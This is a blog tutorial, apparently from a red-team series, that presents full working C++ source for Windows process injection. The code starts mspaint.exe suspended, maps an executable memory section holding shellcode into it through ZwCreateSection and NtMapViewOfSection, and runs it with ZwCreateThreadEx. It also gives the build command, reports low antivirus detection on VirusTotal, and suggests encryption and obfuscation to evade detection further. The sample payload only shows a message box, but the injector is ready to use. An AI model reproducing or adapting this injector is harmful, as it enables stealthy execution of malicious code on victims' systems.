Code injection via ZwCreateSection. Simple C++ malware example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In the previous post I wrote about code injection via memory sections.
This post is a result of self-research of replacing some Nt
prefixes with Zw
prefixes.
Zw prefix?
The Nt
prefix is an abbreviation of Windows NT, but the Zw
prefix has no meaning.
From the MSDN:
When a user-mode application calls the Nt or Zw version of a native system services routine, the routine always treats the parameters that it receives as values that come from a user-mode source that is not trusted. The routine thoroughly validates the parameter values before it uses the parameters. In particular, the routine probes any caller-supplied buffers to verify that the buffers are located in valid user-mode memory and are aligned properly.
practical example. C++ malware.
Let’s go to replace some of the NT API functions from the previous post example with Zw
-prefixed functions.
The first thing that has to be done is to create a legit process with CreateProcessA
:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
Next steps are similar as previous post but, the only difference is we use ZwCreateThreadEx
:
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
instead of RtlCreateUserThread
for triggering payload.
And another difference is we used ZwClose
for close handles (clean up):
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);
So, the full source code of our example malware is:
/*
* hack.cpp - code injection via ZwCreateSection, ZwUnmapViewOfSection
* @cocomelonc
* https://cocomelonc.github.io/tutorial/2022/01/14/malware-injection-13.html
*/
#include <cstdio>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")
// ZwCreateSection
typedef NTSTATUS(NTAPI* pZwCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
// ZwCreateThreadEx
typedef NTSTATUS(NTAPI* pZwCreateThreadEx)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
// ZwUnmapViewOfSection syntax
typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
// ZwClose
typedef NTSTATUS(NTAPI* pZwClose)(
_In_ HANDLE Handle
);
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
HANDLE sh; // section handle
HANDLE th; // thread handle
STARTUPINFOA si = {};
PROCESS_INFORMATION pi = {};
PROCESS_BASIC_INFORMATION pbi = {};
OBJECT_ATTRIBUTES oa;
SIZE_T s = 4096;
LARGE_INTEGER sectionS = { s };
PVOID rb = NULL; // remote buffer
PVOID lb = NULL; // local buffer
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
si.cb = sizeof(STARTUPINFO);
ZeroMemory(&oa, sizeof(OBJECT_ATTRIBUTES));
HMODULE ntdll = GetModuleHandleA("ntdll");
pZwCreateSection myZwCreateSection = (pZwCreateSection)(GetProcAddress(ntdll, "ZwCreateSection"));
pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(ntdll, "NtMapViewOfSection"));
pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress(ntdll, "ZwUnmapViewOfSection"));
pZwCreateThreadEx myZwCreateThreadEx = (pZwCreateThreadEx)GetProcAddress(ntdll, "ZwCreateThreadEx");
pZwClose myZwClose = (pZwClose)GetProcAddress(ntdll, "ZwClose");
// create process as suspended
if (!CreateProcessA(NULL, (LPSTR) "C:\\windows\\system32\\mspaint.exe", NULL, NULL, NULL,
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("create process failed :(\n");
return -2;
};
myZwCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, §ionS, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
printf("section handle: %p.\n", sh);
// mapping the section into current process
myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("local process mapped at address: %p.\n", lb);
// mapping the section into remote process
myNtMapViewOfSection(sh, pi.hProcess, &rb, NULL, NULL, NULL,
&s, 2, NULL, PAGE_EXECUTE_READWRITE);
printf("remote process mapped at address: %p\n", rb);
// copy payload
memcpy(lb, my_payload, sizeof(my_payload));
// unmapping section from current process
myZwUnmapViewOfSection(GetCurrentProcess(), lb);
printf("mapped at address: %p.\n", lb);
myZwClose(sh);
sh = NULL;
// create new thread
myZwCreateThreadEx(&th, 0x1FFFFF, NULL, pi.hProcess,
rb, NULL, CREATE_SUSPENDED, 0, 0, 0, 0);
printf("thread: %p.\n", th);
ResumeThread(pi.hThread);
myZwClose(pi.hThread);
myZwClose(th);
return 0;
}
demo
Let’s go to compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Then, see everything in action! In our case victim machine is Windows 10 x64:
We can see that everything was completed perfectly :)
Then, let’s go to upload our malware to VirusTotal:
So, 5 of 67 AV engines detect our file as malicious.
Moneta64.exe
result:
If we want, for better result, we can add payload encryption with key or obfuscate functions, or combine both of this techniques.
I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
CreateProcessA
ZwCreateSection
NtMapViewOfSection
ZwUnmapViewOfSection
ZwClose
Moneta64.exe
source code in Github
This is a practical case for educational purposes only.
Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine